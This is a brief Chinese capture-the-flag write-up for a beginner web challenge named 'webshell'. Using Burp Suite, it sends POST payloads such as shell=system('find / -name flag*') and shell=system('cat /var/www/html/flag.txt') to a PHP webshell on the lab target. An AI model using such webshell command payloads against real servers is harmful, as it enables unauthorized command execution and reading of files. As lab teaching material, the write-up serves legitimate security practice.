攻防世界-web-新手练习区-webshell
1,从提示上可以看出是post方法提交变量shell。
2,burpsuite抓包,发送至repeater。修改为post方法,消息头中添加Content-Type: application/x-www-form-urlencoded。
消息体中写shell=system('find / -name flag*');

从response中可以看到查询到flag.txt。
3,post方法不变,修改shell=system('cat /var/www/html/flag.txt'),发送消息。得到flag。


浙公网安备 33010602011771号